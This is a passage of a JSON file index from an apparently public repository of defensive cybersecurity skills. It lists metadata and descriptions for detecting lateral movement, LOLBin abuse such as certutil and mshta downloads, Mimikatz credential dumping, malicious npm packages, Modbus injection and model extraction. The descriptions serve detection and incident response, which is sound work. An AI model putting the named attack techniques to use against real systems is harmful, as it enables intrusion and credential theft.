Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":452,"sizeBytes":1562},{"name":"standards.md","path":"skills/detecting-lateral-movement-with-splunk/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-with-splunk/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":698,"sizeBytes":2635},{"name":"workflows.md","path":"skills/detecting-lateral-movement-with-splunk/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-with-splunk/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1393,"sizeBytes":4756},{"name":"SKILL.md","path":"skills/detecting-lateral-movement-with-splunk/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-with-splunk/SKILL.md","title":"detecting-lateral-movement-with-splunk","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2FSKILL.md -->","frontmatter":{"name":"detecting-lateral-movement-with-splunk","description":"Detect adversary lateral movement across networks using Splunk SPL queries against Windows authentication logs, SMB traffic, and remote service (WMI/PsExec/RDP) abuse. Use when hunting for MITRE ATT&CK TA0008 lateral movement activity or investigating suspected pivoting between hosts during an incident, with Splunk as the SIEM.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","lateral-movement","splunk","siem","proactive-detection","ta0008"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1021"]},"isInternal":false,"tokens":1138,"sizeBytes":4604},{"name":"template.md","path":"skills/detecting-lateral-movement-with-zeek/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-with-zeek/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1133,"sizeBytes":4437},{"name":"api-reference.md","path":"skills/detecting-lateral-movement-with-zeek/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-with-zeek/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1262,"sizeBytes":4465},{"name":"standards.md","path":"skills/detecting-lateral-movement-with-zeek/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-with-zeek/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":240,"sizeBytes":818},{"name":"workflows.md","path":"skills/detecting-lateral-movement-with-zeek/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-with-zeek/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1150,"sizeBytes":4831},{"name":"SKILL.md","path":"skills/detecting-lateral-movement-with-zeek/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-lateral-movement-with-zeek/SKILL.md","title":"detecting-lateral-movement-with-zeek","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2FSKILL.md -->","frontmatter":{"name":"detecting-lateral-movement-with-zeek","description":"Detect lateral movement in network traffic using Zeek (formerly Bro) log analysis. Parses conn.log, smb_mapping.log, smb_files.log, dce_rpc.log, kerberos.log, and ntlm.log to identify SMB file transfers, NTLM account spray activity, remote service execution, and anomalous internal connections.\n","domain":"cybersecurity","subdomain":"network-security","tags":["zeek","lateral-movement","smb","dce-rpc","ntlm-spray","network-forensics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1021"]},"isInternal":false,"tokens":2029,"sizeBytes":7722},{"name":"api-reference.md","path":"skills/detecting-living-off-the-land-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-living-off-the-land-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":946,"sizeBytes":3215},{"name":"SKILL.md","path":"skills/detecting-living-off-the-land-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-living-off-the-land-attacks/SKILL.md","title":"detecting-living-off-the-land-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-living-off-the-land-attacks","description":"Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.\n","domain":"cybersecurity","subdomain":"threat-detection","tags":["lolbins","lotl","fileless-attacks","process-monitoring"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05"],"mitre_attack":["T1078","T1190","T1059"]},"isInternal":false,"tokens":4708,"sizeBytes":18846},{"name":"api-reference.md","path":"skills/detecting-living-off-the-land-with-lolbas/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-living-off-the-land-with-lolbas/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-with-lolbas%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":617,"sizeBytes":2138},{"name":"SKILL.md","path":"skills/detecting-living-off-the-land-with-lolbas/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-living-off-the-land-with-lolbas/SKILL.md","title":"detecting-living-off-the-land-with-lolbas","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-with-lolbas%2FSKILL.md -->","frontmatter":{"name":"detecting-living-off-the-land-with-lolbas","description":"Detect Living Off the Land Binaries (LOLBins/LOLBAS) abuse including certutil, regsvr32, mshta, and rundll32 via process telemetry, Sigma rules, and parent-child process analysis with Sysmon endpoint data. Use when hunting for adversaries abusing built-in Windows binaries to download, execute, or proxy malicious code while evading traditional executable-based detection.","domain":"cybersecurity","subdomain":"threat-detection","tags":["lolbas","lolbins","sigma-rules","process-monitoring","sysmon","endpoint-detection","threat-hunting"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Application Protocol Command Analysis","Content Format Conversion"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05"],"mitre_attack":["T1078","T1190","T1059"]},"isInternal":false,"tokens":752,"sizeBytes":3158},{"name":"api-reference.md","path":"skills/detecting-malicious-npm-packages/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-malicious-npm-packages/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-npm-packages%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":609,"sizeBytes":2262},{"name":"standards.md","path":"skills/detecting-malicious-npm-packages/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-malicious-npm-packages/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-npm-packages%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":359,"sizeBytes":1519},{"name":"SKILL.md","path":"skills/detecting-malicious-npm-packages/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-malicious-npm-packages/SKILL.md","title":"detecting-malicious-npm-packages","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-npm-packages%2FSKILL.md -->","frontmatter":{"name":"detecting-malicious-npm-packages","description":"Triage npm packages and lockfiles for install-script malware, credential exfiltration, and worming behavior using GuardDog, manual tarball inspection, and dynamic detonation with network/filesystem monitoring. Use when vetting a new dependency, reviewing a package.json/package-lock.json during code review, checking lockfiles against a supply-chain advisory's known-bad versions, or investigating a host suspected of installing a trojanized package.","domain":"cybersecurity","subdomain":"supply-chain-security","tags":["supply-chain-security","npm","malware-analysis","guarddog","install-scripts","exfiltration","static-analysis","threat-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-09"],"mitre_attack":["T1195.002"]},"isInternal":false,"tokens":2465,"sizeBytes":10419},{"name":"api-reference.md","path":"skills/detecting-malicious-scheduled-tasks-with-sysmon/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-malicious-scheduled-tasks-with-sysmon/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-scheduled-tasks-with-sysmon%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":603,"sizeBytes":2351},{"name":"SKILL.md","path":"skills/detecting-malicious-scheduled-tasks-with-sysmon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-malicious-scheduled-tasks-with-sysmon/SKILL.md","title":"detecting-malicious-scheduled-tasks-with-sysmon","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-scheduled-tasks-with-sysmon%2FSKILL.md -->","frontmatter":{"name":"detecting-malicious-scheduled-tasks-with-sysmon","description":"Detect malicious scheduled task creation and modification using Sysmon Event IDs 1 (Process Create for schtasks.exe), 11 (File Create for task XML), and Windows Security Event 4698/4702. The analyst correlates task creation with suspicious parent processes, public directory paths, and encoded command arguments to identify persistence and lateral movement via scheduled tasks. Activates for requests involving scheduled task detection, Sysmon persistence hunting, or T1053.005 Scheduled Task/Job analysis.\n","domain":"cybersecurity","subdomain":"threat-hunting","tags":["sysmon","scheduled-tasks","persistence","detection","threat-hunting","windows-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Execution Isolation","Process Termination","Hardware-based Process Isolation","Platform Monitoring","Process Suspension"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1021"]},"isInternal":false,"tokens":727,"sizeBytes":2962},{"name":"template.md","path":"skills/detecting-mimikatz-execution-patterns/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-mimikatz-execution-patterns/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":739,"sizeBytes":2663},{"name":"api-reference.md","path":"skills/detecting-mimikatz-execution-patterns/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-mimikatz-execution-patterns/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":520,"sizeBytes":1629},{"name":"standards.md","path":"skills/detecting-mimikatz-execution-patterns/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-mimikatz-execution-patterns/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":440,"sizeBytes":1640},{"name":"workflows.md","path":"skills/detecting-mimikatz-execution-patterns/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-mimikatz-execution-patterns/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":618,"sizeBytes":2870},{"name":"SKILL.md","path":"skills/detecting-mimikatz-execution-patterns/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-mimikatz-execution-patterns/SKILL.md","title":"detecting-mimikatz-execution-patterns","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2FSKILL.md -->","frontmatter":{"name":"detecting-mimikatz-execution-patterns","description":"Detect Mimikatz credential-dumping activity via command-line pattern matching, LSASS access signatures, binary/hash indicators, and in-memory detection of known Mimikatz modules. Use when threat hunting for T1003 credential access, triaging EDR/SIEM alerts on LSASS access, scoping compromise during incident response, or validating detection coverage in a purple team exercise.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","mimikatz","credential-dumping","edr","t1003","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Execution Isolation","Process Termination","Hardware-based Process Isolation","Web Session Access Mediation","Process Suspension"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1003"]},"isInternal":false,"tokens":856,"sizeBytes":3609},{"name":"api-reference.md","path":"skills/detecting-misconfigured-azure-storage/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-misconfigured-azure-storage/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-misconfigured-azure-storage%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":629,"sizeBytes":2662},{"name":"SKILL.md","path":"skills/detecting-misconfigured-azure-storage/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-misconfigured-azure-storage/SKILL.md","title":"detecting-misconfigured-azure-storage","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-misconfigured-azure-storage%2FSKILL.md -->","frontmatter":{"name":"detecting-misconfigured-azure-storage","description":"Audit Azure Storage accounts for public blob containers, missing encryption, overly permissive SAS tokens, disabled logging, and network access violations using Azure CLI, PowerShell, and Microsoft Defender for Storage. Use for storage security audits across subscriptions, responding to Defender for Storage anonymous-access alerts, verifying compliance controls, or setting security baselines when onboarding a subscription.","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","azure","storage-security","blob-storage","sas-tokens","data-protection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1610"]},"isInternal":false,"tokens":2806,"sizeBytes":12387},{"name":"template.md","path":"skills/detecting-mobile-malware-behavior/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-mobile-malware-behavior/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":269,"sizeBytes":956},{"name":"api-reference.md","path":"skills/detecting-mobile-malware-behavior/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-mobile-malware-behavior/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":431,"sizeBytes":1765},{"name":"standards.md","path":"skills/detecting-mobile-malware-behavior/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-mobile-malware-behavior/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":229,"sizeBytes":931},{"name":"workflows.md","path":"skills/detecting-mobile-malware-behavior/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-mobile-malware-behavior/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":120,"sizeBytes":1037},{"name":"SKILL.md","path":"skills/detecting-mobile-malware-behavior/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-mobile-malware-behavior/SKILL.md","title":"detecting-mobile-malware-behavior","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2FSKILL.md -->","frontmatter":{"name":"detecting-mobile-malware-behavior","description":"Detects and analyzes malicious behavior in mobile applications through behavioral analysis, permission abuse detection, network traffic monitoring, and dynamic instrumentation. Use when analyzing suspicious mobile applications for data exfiltration, command-and-control communication, credential stealing, SMS interception, or other malware indicators. Activates for requests involving mobile malware analysis, app behavior monitoring, trojan detection, or suspicious app investigation.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","android","ios","malware-analysis","owasp-mobile","penetration-testing"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078","T1003"],"mitre_f3":{"version":"1.1","tactics":["positioning","execution","initial-access"],"techniques":[{"id":"T1453","name":"Abuse Accessibility Features","tactic":"positioning","source":"attack"},{"id":"F1003","name":"Abuse SMS verification","tactic":"execution","source":"f3"},{"id":"T1113","name":"Screen Capture","tactic":"positioning","source":"attack"},{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"},{"id":"F1002.001","name":"Abuse of Public-Facing API: Mobile API Abuse","tactic":"positioning","source":"f3"}]}},"isInternal":false,"tokens":1988,"sizeBytes":8768},{"name":"api-reference.md","path":"skills/detecting-modbus-command-injection-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-modbus-command-injection-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-command-injection-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":475,"sizeBytes":1636},{"name":"SKILL.md","path":"skills/detecting-modbus-command-injection-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-modbus-command-injection-attacks/SKILL.md","title":"detecting-modbus-command-injection-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-command-injection-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-modbus-command-injection-attacks","description":"Detect command injection against Modbus TCP/RTU in ICS/SCADA environments by monitoring unauthorized writes, anomalous function codes, malformed frames, and deviations from communication baselines using ICS-aware IDS and deep packet inspection. Use when deploying IDS for Modbus OT networks, investigating unauthorized PLC register/coil changes, or responding to FrostyGoop-style Modbus attacks.","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","modbus","command-injection","protocol-analysis","ids","scada","threat-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T1055","T0816"]},"isInternal":false,"tokens":4733,"sizeBytes":20590},{"name":"api-reference.md","path":"skills/detecting-modbus-protocol-anomalies/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-modbus-protocol-anomalies/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-protocol-anomalies%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":467,"sizeBytes":1662},{"name":"SKILL.md","path":"skills/detecting-modbus-protocol-anomalies/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-modbus-protocol-anomalies/SKILL.md","title":"detecting-modbus-protocol-anomalies","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-protocol-anomalies%2FSKILL.md -->","frontmatter":{"name":"detecting-modbus-protocol-anomalies","description":"Detect anomalies in Modbus/TCP and Modbus RTU industrial traffic via function code monitoring, register range validation, timing analysis, and deep packet inspection, using Zeek's Modbus analyzer, Suricata IDS with OT rules, and Python Markov chain models of normal transaction sequences. Use for deploying Modbus IDS in OT environments, baselining polling patterns, investigating suspicious Modbus traffic, or building function code allowlists.","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","modbus","protocol-anomaly"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":3543,"sizeBytes":14940},{"name":"api-reference.md","path":"skills/detecting-model-extraction-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-model-extraction-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-model-extraction-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":563,"sizeBytes":2340},{"name":"standards.md","path":"skills/detecting-model-extraction-attacks/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-model-extraction-attacks/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-model-extraction-attacks%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":422,"sizeBytes":1645},{"name":"SKILL.md","path":"skills/detecting-model-extraction-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-model-extraction-attacks/SKILL.md","title":"detecting-model-extraction-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-model-extraction-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-model-extraction-attacks","description":"Detect MITRE ATLAS AML.T0024 attacks (model stealing, inversion, membership inference) performed via inference-API abuse, by monitoring per-principal query volume/distribution, rate-limiting and perturbing outputs, and red-teaming your model's extractability. Use for a public or partner inference API needing cloning/inversion/membership-inference detection, or a pre-deployment red-team exercise to measure extraction risk.","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","model-extraction","membership-inference","model-inversion","inference-api","mitre-atlas","query-monitoring","mlsecops"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.6"],"atlas_techniques":["AML.T0024"]},"isInternal":false,"tokens":2717,"sizeBytes":11750},{"name":"api-reference.md","path":"skills/detecting-network-anomalies-with-zeek/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-network-anomalies-with-zeek/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-anomalies-with-zeek%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":725,"sizeBytes":2550},{"name":"SKILL.md","path":"skills/detecting-network-anomalies-with-zeek/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-network-anomalies-with-zeek/SKILL.md","title":"detecting-network-anomalies-with-zeek","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-anomalies-with-zeek%2FSKILL.md -->","frontmatter":{"name":"detecting-network-anomalies-with-zeek","description":"Deploy and configure Zeek (formerly Bro) to passively analyze network traffic, generate structured connection/DNS/HTTP/SSL/file logs, detect anomalous behavior, and write custom scripts for organization-specific threats. Use for passive monitoring at network choke points, feeding SIEM/threat hunting with protocol metadata, or retrospective log analysis during incident response; not a substitute for inline IDS/IPS or host 